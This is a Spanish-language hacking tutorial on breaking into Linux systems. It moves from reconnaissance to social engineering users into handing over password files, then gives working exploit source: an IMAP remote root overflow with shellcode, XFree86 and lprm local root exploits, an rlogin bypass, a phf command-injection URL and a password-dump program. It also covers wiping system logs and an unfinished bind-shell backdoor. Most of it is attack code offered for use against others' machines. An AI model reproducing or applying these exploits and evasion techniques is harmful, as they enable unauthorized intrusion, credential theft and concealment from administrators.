Hackeando un Sistema Linux By Posidon

www.softdownload.com.ar

Como todo el mundo sabra ya, linux es cada vez mas popular entre los usuarios. Usar linux es guay y mucha gente que antes le daba la espalda ahora se encuentra con linux instalado en su disco duro. Pero no todo va a ser tan bonito, linux es un muy buen sistema operativo, pero como todo,tiene fallos. En este texto voy a intentar explicar algunos metodos para conseguir hackear un sistema linux. Lo hago con este sistema ya que es el mas conocido,aunque muchas cosas son exportables a otros sistemas operativos parecidos,como bsd, sunOS y cualquier otro derivado de unix.

1.- Consiguiendo informacion de la maquina.

Una de las cosas mas importantes a la hora de hackear un sistema (o intentar) es obtener la maxima informacion disponible sobre el. En definitiva se trata de obtener las versiones de sus daemons,como pueden ser ftp,sendmail,etc, los puertos que tiene abiertos y toda informacion que nos pueda ser util.

Para conseguir las versiones de los demonios se accede al puerto en cuestion, y normalmente solo con eso se nos muestra una linea o dos con informacion.Aqui pongo una lista de los puertos completa,ya se que completa es un coñazo pero la pongo por si a alguien le es util.

LISTA DE PUERTOS

```
tcpmux          1/tcp                   # rfc-1078
echo            7/tcp
echo            7/udp
discard         9/tcp           sink null
discard         9/udp           sink null
systat          11/tcp          users
daytime         13/tcp
daytime         13/udp
netstat         15/tcp
qotd            17/tcp          quote
chargen         19/tcp          ttytst source
chargen         19/udp          ttytst source
ftp-data        20/tcp
ftp             21/tcp
telnet          23/tcp
smtp            25/tcp          mail
time            37/tcp          timserver
time            37/udp          timserver
rlp             39/udp          resource        # resource location
name            42/udp          nameserver
whois           43/tcp          nicname         # usually to sri-nic
```

```
domain          53/tcp
domain          53/udp
mtp             57/tcp                  # deprecated
bootps          67/udp                  # bootp server
bootpc          68/udp                  # bootp client
tftp            69/udp
gopher          70/tcp                  # gopher server
rje             77/tcp
#finger         79/tcp
#http           80/tcp                  # www is used by some broken
#www            80/tcp                  # progs, http is more correct
link            87/tcp          ttylink
kerberos        88/udp          kdc             # Kerberos authentication--udp
kerberos        88/tcp          kdc             # Kerberos authentication--tcp
supdup          95/tcp                  # BSD supdupd(8)
hostnames       101/tcp         hostname        # usually to sri-nic
iso-tsap        102/tcp
x400            103/tcp                 # x400-snd        104/tcp
csnet-ns        105/tcp
#pop-2          109/tcp                 # PostOffice V.2
#pop-3          110/tcp                 # PostOffice V.3
#pop            110/tcp                 # PostOffice V.3
sunrpc          111/tcp
sunrpc          111/tcp         portmapper      # RPC 4.0 portmapper UDP
sunrpc          111/udp
sunrpc          111/udp         portmapper      # RPC 4.0 portmapper TCP
auth            113/tcp         ident           # User Verification
sftp            115/tcp
uucp-path       117/tcp
nntp            119/tcp         usenet          # Network News Transfer
ntp             123/tcp                 # Network Time Protocol
ntp             123/udp                 # Network Time Protocol
#netbios-ns     137/tcp         nbns
#netbios-ns     137/udp         nbns
#netbios-dgm    138/tcp         nbdgm
#netbios-dgm    138/udp         nbdgm
#netbios-ssn    139/tcp         nbssn
#imap           143/tcp                 # imap network mail protocol
NeWS            144/tcp         news            # Window System
snmp            161/udp
snmp-trap       162/udp
exec            512/tcp                 # BSD rexecd(8)
biff            512/udp         comsat
login           513/tcp                 # BSD rlogind(8)
who             513/udp         whod            # BSD rwhod(8)
shell           514/tcp         cmd             # BSD rshd(8)
syslog          514/udp                 # BSD syslogd(8)
printer         515/tcp         spooler         # BSD lpd(8)
talk            517/udp                 # BSD talkd(8)
ntalk           518/udp                 # SunOS talkd(8)
efs             520/tcp                 # for LucasFilm
route           520/udp         router routed   # 521/udp too
timed           525/udp         timeserver
tempo           526/tcp         newdate
courier         530/tcp         rpc             # experimental
conference      531/tcp         chat
```

```
netnews         532/tcp         readnews
netwall         533/udp                 # -for emergency broadcasts
uucp            540/tcp         uucpd           # BSD uucpd(8) UUCP service
klogin          543/tcp                 # Kerberos authenticated rlogin
kshell          544/tcp         cmd             # and remote shell
new-rwho        550/udp         new-who         # experimental
remotefs        556/tcp         rfs_server rfs  # Brunhoff remote filesystem
rmonitor        560/udp         rmonitord       # experimental
monitor         561/udp                 # experimental
pcserver        600/tcp                 # ECD Integrated PC board srvr
mount           635/udp                 # NFS Mount Service
pcnfs           640/udp                 # PC-NFS DOS Authentication
bwnfs           650/udp                 # BW-NFS DOS Authentication
kerberos-adm    749/tcp                 # Kerberos 5 admin/changepw
kerberos-adm    749/udp                 # Kerberos 5 admin/changepw
kerberos-sec    750/udp                 # Kerberos authentication--udp
kerberos-sec    750/tcp                 # Kerberos authentication--tcp
kerberos_master 751/udp                 # Kerberos authentication
kerberos_master 751/tcp                 # Kerberos authentication
krb5_prop       754/tcp                 # Kerberos slave propagation
listen          1025/tcp        listener RFS remote_file_sharing
nterm           1026/tcp        remote_login network_terminal
#kpop           1109/tcp                # Pop with Kerberos
ingreslock      1524/tcp
tnet            1600/tcp                # transputer net daemon
cfinger         2003/tcp                # GNU finger
nfs             2049/udp                # NFS File Service
eklogin         2105/tcp                # Kerberos encrypted rlogin
krb524          4444/tcp                # Kerberos 5 to 4 ticket xlator
irc             6667/tcp                # Internet Relay Chat
```

Bueno,despues de todo este rollo les pregutaré: y cuales son realmente los puertos importantes?? Pues bien,los realmente importantes (mas o menos) son: el ftp(21),telnet(23),sendmail(25),finger(79),http(80),pop(110) y imap(143). Estos son (para mi al menos) los que mas usaremos a la hora de hackear.

Para sacar informacion de cada uno de ellos basta con ir haciendo telnets uno por uno. Ej: telnet maquina.com 21 --> te dije la version del ftp, telnet maquina.com 23 --> te dice la version del sistema operativo(normalmente), y asi con todos. Recomiendo que a la hora de mirar versiones,etc. no intenteis meter ningun password porque quedara todo grabado junto con vuestra direccion ip.

Tambien es interesante hacer un scaneo de puertos a la maquina. Hay muchos programas en internet que hacen esta funcion. Yo recomiendo el phobia, que es bastante rapido. Estos programas a veces traen opciones para scanear solo un determinado numero de puertos, por ejemplo del 1 al 200. El phobia trae tb posibilidades de ataque,como sobreescribir un buffer en el ftpd,etc. pero que ya tiene mucho tiempo y es improbable que funcione.

1.1.- Posibilidades del Finger & SMTP

El puerto del finger(79) se usa para conseguir informacion de los usuarios de esa maquina. Se usa simplemente con: telnet maquina.com 79. Si obteneis una respuesta como: "telnet: Unable to connect to remote host: Connection refused", es que o tiene activado un firewall(esto ya se vera mas adelante) o tiene cerrado el puerto del finger. Si se conecta sin problemas,simplemente tecleando un nombre de usuario conseguireis informacion sobre el.No os preocupeis si lo que escribais no sale en pantalla,es porque tiene el eco redireccionado a una salida nula. Si por ejemplo tecleais "test",y resulta que alguien tiene ese nombre de usuario(login), os saldra algo como esto:

```
Login: test                    Name: Jose Ramon Suarez
Directory: /home/test              Shell: /bin/bash
Last login Sat May  9 00:16 (CEST) on tty3
No mail.
No Plan.
```

Como veis se muestra mucha informacion util,como su nombre completo,su directorio home,si tiene mail,etc.. Esto puede ser usado para intentar algun pass, como joramon..ya entendeis. Tambien podeis mandarle un mail haciendos pasar por el root del sistema y pidiendole su password con alguna excusa,pero esto ya esta muy visto y no creo que funcione,ademas,como se lo diga al root de verdad y no hayais usado un metodo para mandar mails anonimos..pillais,no? :).

Tb puede usarse el sendmail(25) para conseguirse un resultado similar. La cuestion es que muchos proovedores de internet (por lo menos en españa), en vez de usar un servidor para correo entrante(pop-110) y otro para correo saliente (smtp-25) pues usan uno solo para las dos cosas,y si usan dos pues en el de correo entrante dejan abierto el puerto de smtp. Pues bien,si haceis un telnet al servidor de correo entrante al puerto 25,y luego usais el comando vrfy para verificar si existe un usuario en cuestion muchas veces os devolvera el nombre del usuario completo. Ejemplo:

Un tio tiene de mail jose@ctv.es. Pues poneis; telnet pop.ctv.es 25 --> luego, vrfy jose , y os devolvera algo como: Jose Luis Suarez Vazquez <jose@ctv.es>. Con esto,y si sabeis la poblacion del tio, pues llamais al 003 para sacar su telefono,lo llamais diciendo que sois de ctv....etc etc, lo demas ya lo dejo a vuestra imaginacion :). Ademas,el servicio de finger cada vez esta mas en desuso por lo que este metodo cobra mas importancia.

Nota: El comando expn hace la misma funcion,pero normalmente esta desactivado.

2.- consiguiendo Una Cuenta

Esto es una de las cosas mas dificiles (aunque parezca mentira) a la hora de hackear. La forma mas facil de conseguirla es con ingenieria social,pero ya esta muy visto y es muy chungo que lo consigais. Por si alguien no lo sabe ingenieria social es intentar engañar a alguien para que te de su pass o informacion util. Lo de la tia novata ya esta muy visto,o sea que yo recomiendo nukear a alguien un par de veces,y cuando ya este el tio hasta las narices le haceis un query y le decis algo como: "joer,no se quien anda nukeando..no estas protegido?", luego le enseñas como protegerse pero le dices que para saber que puerto tiene que cerrar exactamente te tiene que mandar por dcc los files

con extension pwl de su \windows\,captais la idea,no? :). Luego crackeais el fichero con el glide por ejemplo.

Ahora voy a centrarme ya en el Linux,lo de antes era para engañar a alguien con win95 y poder acceder al server de su proveedor con su login:pass.

Hay varios metodos en algunas distribuciones de linux que te permiten conseguir una cuenta desde fuera, e incluso algunas con nivel de root.

Esta que voy a poner ahora es para RedHat,funciona hasta la version 4.0 incluida y lo que hace es sobreescribir un buffer en el imap(puerto 143) consiguiendo una shell con nivel de root. Tienes que tener instalado el programa netcat (esta disponible en muchos lugares de la red), y se utiliza con: "(imap 0000000000;cat) | nc maquina.com 143", tienes que poner muchos ceros para que rule,aunque va a ser chungo que encuentres una redhat 4.0 la verdad. Bueno,aqui va:

---------- **comienzo** ----------

```
/*
 * IMAPD REMOTE EXPLOIT
 * exploit code from TiK/paladine's imap+nc exploit
 * socket code by BiT
 */

#include <stdio.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/time.h>
#include <errno.h>

void read_soc(int sock);
void read_key(int sock);

char shell[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
```

```
"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xe8\xc0\xff\xff\xff/bin/sh";

void phand(int s)
{
  return;
}

void ihand(int s)
{
  printf("SIGINT catched, exiting...\n");
  exit(4);
}

void dome()
{
  printf("IMAPD REMOTE EXPLOIT\n");
  printf("Exploit code by TiK/paladine\n");
  printf("Socket code by BiT\n\n");
}

void banner(char *wee)
{
  printf("Syntax: %s <host> [<offset>]\n",wee);
  exit(1);
}

void main(int argc, char *argv[])
{
  int i,a,s;
  long val;
  fd_set blockme;
  char username[1024+255];
  char buf[1500];

  dome();
  if(argc<2)
    banner(argv[0]);

  if(argc>2)
    a=atoi(argv[2]);
  else
    a=0;

  strcpy(username,shell);
  for(i=strlen(username);i<sizeof(username);i++)
    username[i]=0x90;
  val = 0xbffff501 + a;
  for(i=1024;i<strlen(username)-4;i+=4)
  {
    username[i+0] = val & 0x000000ff;
    username[i+1] = (val & 0x0000ff00) >> 8;
    username[i+2] = (val & 0x00ff0000) >> 16;
    username[i+3] = (val & 0xff000000) >> 24;
  }
```

```
  username[ sizeof(username)-1 ] = 0;
  if((s=wee(argv[1],143)) == -1) {
    printf("Connection refused.\n");
    exit(2);
  }
  signal(SIGPIPE,phand);
  signal(SIGINT,ihand);
  printf("Exploiting %s with offset %d...\n",argv[1],a);
  sprintf(buf,"%d LOGIN \"%s\" pass\n", sizeof(shell), username);
  write(s,buf,strlen(buf));
  while(1)
  {
    FD_ZERO(&blockme);FD_SET(s,&blockme);FD_SET(0,&blockme);
    fflush(stdout);fflush(stdin);
    if(select(FD_SETSIZE, &blockme, NULL, NULL, NULL)) {
      if(FD_ISSET(0,&blockme)) read_key(s);
      if(FD_ISSET(s,&blockme)) read_soc(s);
    }
  }
}

void read_soc(int sock)
{
  static char sbuf[512];
  static int i=0;
  char c,j;

  j=read(sock,&c,1);
  if(j<1&&errno!=EAGAIN) {
    printf("Connection dropped.\n");
    exit(3);
  }
  if(i>510)
    c='\n';
  if(c=='\n') {
    sbuf[i++]=c;sbuf[i]=0;i=0;
    printf(sbuf);
  }
  else
    sbuf[i++]=c;
}

void read_key(int sock)
{
  static char kbuf[512];
  static int i=0;
  char c,j;

  j=read(0,&c,1);
  if(i>510)
    c='\n';
  if(c=='\n') {
    kbuf[i++]=c;kbuf[i]=0;i=0;
    write(sock,kbuf,strlen(kbuf));
  }
```

```
  else
   kbuf[i++]=c;
}

int wee(char *host,int port)
{
  struct hostent *h;
  struct sockaddr_in s;
  int sock;

  h=gethostbyname(host);
  if(h==NULL)
    return -1;
  sock=socket(AF_INET,SOCK_STREAM,0);
  s.sin_family=AF_INET;
  s.sin_port=htons(port);
  memcpy(&s.sin_addr,h->h_addr,h->h_length);
  if(connect(sock,(struct sockaddr *)&s,sizeof(s)) < 0)
    return -1;
  fcntl(sock,F_SETFL,O_NONBLOCK);
  return sock;
}
```

-------- **final** ----------

Otro metodo para conseguir una shell de root desde fuera se da en las distribuciones slackware hasta la 3.1 incluida. Se trata de un bug del rlogin, por lo que no hace falta exploit. Se usa de la siguiente forma: "rlogin maquina.com -l -froot".

Tb esta el metodo de usar bugs de scripts cgi, como puede ser el phf, ampliamente conocido pero que todavia rula. Por mi experiencia los sistemas con este bug suelen ser los SunOS, y suelen estar en las universidades. Se usa desde el navegador, como puede ser el netscape, de la siguiente formal: "http://www.maquina.com/cgi-bin/phf?Qalias=%0a/bin/cat%20/etc/passwd". Esto lo que hace es imprimir el fichero /etc/passwd pero puede ser usado para ejecutar cualquier comando remotamente.(no me extengo mas porque considero que el phf ya esta muy explicado en otros articulos).

Otra cosa, muchas distribuciones de linux te montan automaticamente las particiones msdos, por lo que si tienes acceso al linux de algun colega solo tienes que ir a /mnt/c: o lo que sea, a /windows/ y bajarte el pwl, pillais,no? :).

3.- Conseguir el ETC/PASSW

Una vez que tienes una cuenta lo siguiente es conseguir el fichero de pass de la peña. Normalmente esta en /etc/passwd,pero puede estar shadow, estando entonces lo importante en /etc/shadow. Me explico. Normalmente los sistemas linux no se preocupan por quien mira los passwords de los usuarios encriptados(por algo estan encriptados), o sea que el fichero /etc/passwd que es donde se guardan los pass es visible para todo el mundo. En cambio hay sitios donde la seguridad ya es mas necesaria y el archivo con los pass no es visible para todo el mundo, es entonces cuando se dice que esta shadow. Vamos a analizar una linea del /etc/passwd de un sistema que no este shadow:

jose:x2rFys28wHAAy:503:508:Jose Manuel:/home/test:/bin/bash

jose --> este es el nombre de usuario (login)
x2rFys28wHAAy --> password encryptado
503 --> este es el uid del usuario
508 --> este es el grupo al que pertenece (gid)
Jose Manuel --> nombre completo del usuario
/home/jose --> directorio home de jose
/bin/bash --> shell de jose

Lo de 503 y 508 sirve para identificar al usuario y a su grupo, ya que linux por ejemplo no lo identificara por jose sino por 503, por lo tanto cualquier usuario con uid igual a 503 sera como si fuera a todos los efectos jose. El root siempre tendra el uid igual a 0.

Lo que mas nos interesa es el password. Unix en general utiliza un metodo de encriptacion muy complejo,practicamente imposible de desencriptar. Como no se puede desencriptar lo que podemos hacer es coger una lista de palabras, ir encriptandolas una a una y comparandolas con los pass encriptados, cuando haya una coincidencia ya tenemos un password. Lo he explicado de una forma un poco simple,espero que se comprenda. Hay multitud de crackeadores de password en la red, pero esta visto que john the ripper es el mas rapido, asi que recomiendo este. Ademas,trae una opcion que permite crackear sin lista de palabras, utilizando pass que deriven del login del usuario. Por ejemplo si el login es pepe, pues utiliza como pass pepe1,pepe95...etc. Este es un metodo muy bueno y casi siempre pilla bastantes password. Se utiliza con "john -single ficherodepass".

La forma de bajarse el fichero de passwd puede ser por ftp por ejemplo, pero antes recomiendo hacer una copia del fichero a tu directorio home con un nombre menos sospechoso,asi en los logs nos constara de que te has bajado el /etc/passwd.

Lo que pasa es que hay veces en los que conseguir el fichero de pass no es tan sencillo.Puede estar shadow por ejemplo,o no tener acceso al directorio donde se encuentre. Si el fichero esta shadow, en /etc/passwd las lineas seran algo como: "jose:x:503:508:Jose Manuel:/home/test:/bin/bash". Entonces lo que falta, el pass, se encuentra encriptado en /etc/shadow,pero con permisos solo de lectura y escritura para el root,de forma que nosotros no podremos leerlo. Menos mal que hay formas de conseguirlo igualmente :). Como por ejemplo con varias llamadas a getpwent. El fichero que pongo ahora sirve para los dos casos,que no tengamos acceso al directorio o al /etc/passwd,o que este shadow.

--------- **comienzo** ----------

```
#include <stdio.h>
#include <pwd.h>


struct passwd *pw;


main()
{
```

```
  while ((pw = getpwent()) != NULL)
  {
     printf("%s:",pw->pw_name);
     printf("%s:",pw->pw_passwd);
     printf("%d:",pw->pw_uid);
     printf("%d:",pw->pw_gid);
     printf("%s:",pw->pw_gecos);
     printf("%s:",pw->pw_dir);
     printf("%s\n",pw->pw_shell);
  }

  endpwent();
}
```

---------- **final** ----------

Al ejecutarlo os mostrara el fichero de contraseñas completo, por lo que es necesario redireccionar su salida a un fichero con >. Ej: "./conseguirpass > fichero". Luego te lo bajas por ftp.

3.- Conseguir el Acceso de Root

Una vez que tienes una cuenta lo siguiente es conseguir acceso como root. Recuerdo que root es el administrador del sistema y que tiene permiso para hacer TODO. Antes de intentar hacer nada recomiendo que hagais un "who" para ver si el root esta conectado, ya que si haceis cosas raras y esta delante del ordenata pues a lo mejor se mosquea y tal :). Por cierto, que si son las 10 de la noche y en el who pone que lleva conectado desde las 8 de la mañana no le hagais mucho caso :). Aun asi recomiendo intentar hacerse con el root por la noche.

Si tienes acceso fisico al ordenata,y tiene el Lilo (linux loader) instalado pues es muy sencillo. Basta con poner en el prompt al arrancar el sistema: "linux single",y te carga el linux normalmente solo que con shell de root y sin pedir ni login,ni pass,ni nada. Supongo que si en vez de "linux",lo tienes configurado para que arranque con la palabra "redhat" pues seria "redhat single".

Si no tienes acceso fisico a la maquina (lo mas normal),tendras que aprovechar algun fallo (bug) de la distribucion,o un xploit. Los xploits sirven para explotar los bugs del sistema (la misma palabra lo dice), ya que por ejemplo para sobreescribir un buffer no los vas a hacer tecleando desde el shell, sino que lo hace un un programita en C. Hay muchisimos bugs y exploits circulando por ahi, asi que voy a poner alguno solamente. No son de lo mas reciente pero funcionara en alguna que otra maquina.

Aqui pongo uno bastante reciente que sobreescribe un buffer en el servidor de XFREE86, funciona en redhat 4.2,slackware 3.1,caldera 1.1,y creo que en la debian 1.3.1. En redhat 6.0 creo que no tira. Para que funcione, el directorio /usr/X11R6 tiene que ser accesible para todo el mundo. Te consigue un shell de root y no deja logs ni el .bash_history,ni en el wtmp,ni en nada (los archivos de logs los explicare mas adelante). Por cierto,si alguien no lo sabia,

los archivos en C se compilan con cc -o fichero fichero.c,siendo fichero el ejecutable y fichero.c el codigo fuente, y tienes que subir el xploit por ftp a la maquina y luego compilarlo en ella. Bueno, aqui va.

--------- **comienzo** ----------

```
/* Try 2 3 4 5 for OFFSET */
#define OFFSET 2

#include <string.h>
#include <unistd.h>
#include <errno.h>

#define LENCODE ( sizeof( Code ) )
char Code[] =
   "\xeb\x40\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0"
   "\x3f\x89\xc2\x31\xdb\xb3\x0a\x31\xc9\xcd\x80\x89\xd0\x43\x41"
   "\xcd\x80\x89\xd0\x43\x41\xcd\x80\x31\xc0\x89\xc3\xb0\x17\xcd"
   "\x80\x31\xc0\xb0\x2e\xcd\x80\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
   "\x08\x8d\x56\x0c\xcd\x80\xe8\xbb\xff\xff\xff/bin/sh";

char Display[ 0x4001 + OFFSET ] = ":99999", *ptr = Display + OFFSET + 1;
char *args[] = { "X", "-nolock", Display, NULL };

main() {
printf("pHEAR - XFree86 exploit\nby mAChnHEaD <quenelle@iname.com>\n\nYou may
get a root prompt now. If you don't, try different values for OFFSET.\n\n");
  dup2( 0, 10 ); dup2( 1, 11 ); dup2( 2, 12 );
  __asm__("movl %%esp,(%0)\n\tsubl %1,(%0)"::"b"(ptr),"n"(LENCODE+0x2000));
  memcpy( ptr + 4, ptr, 0x3fc );
  memset( ptr + 0x400, 0x90, 0x3c00 - LENCODE );
  memcpy( ptr + 0x4000 - LENCODE, Code, LENCODE );
  execve( "/usr/X11R6/bin/X", args, args + 3 );
  perror( "execve" );
}
```

---------- **final** ----------

Con este se consigue root en muchos linux, pero por si acaso adjunto alguno mas. Este otro sobreescribe un buffer en /usr/bin/lprm.Se supone que rula en redhat 4.2,y tienes que modificar el #define PRINTER para que rule. No lo he probado o sea que no se lo que tienes que poner pero supongo que con #define PRINTER "/etc/printcap" funcione,o el nombre de la impresora..eso ya lo tendreis que averiguar vosotros. Bueno,pongo aqui el codigo.

---------- **comienzo** ----------

```
#include <stdio.h>
#define PRINTER "-Pwhatever"


static inline getesp() {
  __asm__(" movl %esp,%eax ");
}

main(int argc, char **argv) {
  int i,j,buffer,offset;
  long unsigned esp;
  char unsigned buf[4096];
```

```
  unsigned char
  shellcode[]="\x89\xe1\x31\xc0\x50\x8d\x5c\x24\xf9\x83\xc4\x0c"
              "\x50\x53\x89\xca\xb0\x0b\xcd\x80/bin/sh";

  buffer=990;
  offset=3000;

  if (argc>1)buffer=atoi(argv[1]);
  if (argc>2)offset=atoi(argv[2]);


  for (i=0;i<buffer;i++)
     buf[i]=0x41;  /* inc ecx */

  j=0;

  for (i=buffer;i<buffer+strlen(shellcode);i++)
    buf[i]=shellcode[j++];

  esp=getesp()+offset;

  buf[i]=esp & 0xFF;
  buf[i+1]=(esp >> 8) & 0xFF;
  buf[i+2]=(esp >> 16) & 0xFF;
  buf[i+3]=(esp >> 24) & 0xFF;

  buf[i+4]=esp & 0xFF;
  buf[i+5]=(esp >> 8) & 0xFF;
  buf[i+6]=(esp >> 16) & 0xFF;
  buf[i+7]=(esp >> 24) & 0xFF;

  printf("Offset: 0x%x\n\n",esp);

  execl("/usr/bin/lprm","lprm",PRINTER,buf,NULL);
}
```

---------- **final** ----------

Bueno, no pongo mas que sino se alarga mucho. Solo teneis que buscar por la red con la palabra clave xploit y apareceran mogollon de webs interesantes.

4.- Borrando Nuestras Huellas

Esto si que es importante, yo mas bien diria que es lo mas importante, ya que si no borras todas las huellas que has ido dejando (que son muchas) pueden pillarte con todas sus consecuencias. ¿ Que te pareceria que despues de todo el trabajo que te ha llevado conseguir el root te cierran el acceso por no borrar tus huellas correctamente ? Ya no digo nada si le da por denunciarte ..

Los ficheros de logs varian de un linux a otro, pero mas bien varian de directorio, todo lo demas se mantiene. Un encargado de grabar nuestros logs es el syslog. Este es un demonio que guarda diferentes tipos de logs como los usua-

rios que se conectaron,su ip,etc. Para ver exactamente que logs guarda y en que ficheros puedes hacer un "cat /etc/syslog.conf",de esta forma veras exactamente que es lo que hace. Normalmente los guarda en /var/log,y los mas importantes son messages,secure y xferlog. Estos son ficheros de textos normales,por lo que modificarlos es muy sencillo. Messages es un poco de todo, guarda los usuarios que se conectaron,su ip,etc.,por lo que es un coñazo la verdad. Secure guarda solo las ips y los demonios que usaron, por ejemplo que 195.32.2.1 se conecto al ftp el 1 de mayo a las 2 de la tarde, pero no guarda los ficheros que te bajes ni nada. Y xferlog es un fichero solo del ftp,es decir guarda conexiones,ficheros que te bajaste,etc. Para borrarlo es muy sencillo. For example: tu ip es ctv23.ctv.es (bueno,tu host mejor dicho), para borrarla del /var/log/messages pues haces "grep -v ctv23 /var/log/messages > mes". Ahora en el fichero mes tienes una copia del messages pero sin las lineas en las que aparece ctv23,luego lo copias sobreescribiendo /var/log/messages. Bueno,pues asi con el xferlog y el secure. Aunque tb puedes editarlos con el vim y borrarlos manualmente claro :).

Pero todavia hay mas ficheros de logs. Por ejemplo el bash guarda una copia de todos los comandos utilizados en el directorio home en un fichero llamado .bash_history. Para evitarlo pon "unset HISTFILE" en mitad de una sesion, ya que el log se actualiza cuando cierres la conexion. Es decir,si por ejemplo te conectas y borras el .bash_history no te servira de nada,ya que los comandos los escribe cuando te desconectes del server. En cambio si pones unset HISTFILE no los escribira cuando desconectes.

Otros ficheros de logs importantes son lastlog,wtmp y utmp.No estan en formato de texto por lo que no podras leerlos normalmente.

Lastlog --> Se encuentra normalmente en /var/log/lastlog,y guarda cuando se conecto por ultima vez un usuario y desde donde.
Wtmp --> Se encuentra normalmente en /var/log/wtmp, y guarda los nombres y las ips de todos los usuarios que se conectaron alguna vez a la maquina.
Utmp --> Se encuentra normalmente en /var/run/utmp, y guarda los usuarios que se encuentran conectados en ese momento a la maquina.

Para borrarlos hace falta un programa especial que adjunto aqui. Hay muchos y este no es de los mejores porque no borra el registro,simplemente pone las entradas a 0,con lo que un root avanzado podria mosquearse. Tb decir que al hacer un "who" busca los usuarios en el utmp,por lo que si te borras de el y cualquier usuario hace un who,incluido el root, no te vera. Sirve para que no te detecten a simple vista pero tampoco seria muy complicado encontrarte, asi que tampoco te creas invisible :). Bueno,pego aqui el codigo.

--------- **empieza** ----------

```
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"
```

```
int f;

void kill_utmp(who)
char *who;
{
   struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof( utmp_ent ));
               lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
               write (f, &utmp_ent, sizeof (utmp_ent));
           }
     close(f);
  }
}

void kill_wtmp(who)
char *who;
{
   struct utmp utmp_ent;
   long pos;

   pos = 1L;
   if ((f=open(WTMP_NAME,O_RDWR))>=0) {

     while(pos != -1L) {
       lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
       if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
         pos = -1L;
       } else {
         if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
              bzero((char *)&utmp_ent,sizeof(struct utmp ));
              lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
              write (f, &utmp_ent, sizeof (utmp_ent));
              pos = -1L;
         } else pos += 1L;
       }
     }
     close(f);
  }
}

void kill_lastlog(who)
char *who;
{
   struct passwd *pwd;
   struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

       if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
          lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
          bzero((char *)&newll,sizeof( newll ));
```

```
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}
```

--------- **final** ----------

Para usarlo se usa con "./z2 nombredeusuario".

5.- Dejando las Puertas Traseras

Bueno,y vosotros os preguntareis si siempre que os conecteis teneis que rular el xploit o el bug,borrar huellas,etc. con todo el coñazo que eso supone. Pues la respuesta es no. Lo mas comodo es instalar una "backdoor" o puerta trasera. Una puerta trasera es una manera de entrar en un sistema de forma que nadie se entere de que has entrado,sin logs ni rollazos, y consiguiendo el root al momento. Por supuesto para instalar una tienes que haber conseguido el root anteriormente :). Normalmente se instalan sobreescribiendo un fichero del sistema por uno modificado,es decir,un troyano. Por ejemplo,sobreescribes el /bin/login por uno que te deje entrar con un login:pass que definas tu y sin dejar ningun log..bonito,no? :). Hay por ahi bastantes troyanos del login,pero todos tienen un defecto (o al menos yo no vi ninguno), que pasa si el passwd esta shadow? Pues por lo menos los que yo vi, no rulan. Por eso voy a poner aqui otro metodo, que consiste en crear un puerto en la maquina con un numero raro y que al hacer un telnet a ese puerto te de una shell de root sin pass y sin logs. Pongo aqui el codigo y luego lo explico.

---------- **comienzo** ----------

```
/* quick thingy... bind a shell to a socket... defaults to port 31337 */
/* code by pluvius@io.org                                             */
/* don't forget.. when you connect to the port.. commands are like:   */
/* "ls -l;" or "exit;" (don't forget the ';')                         */
#define PORT 31337
#include <stdio.h>
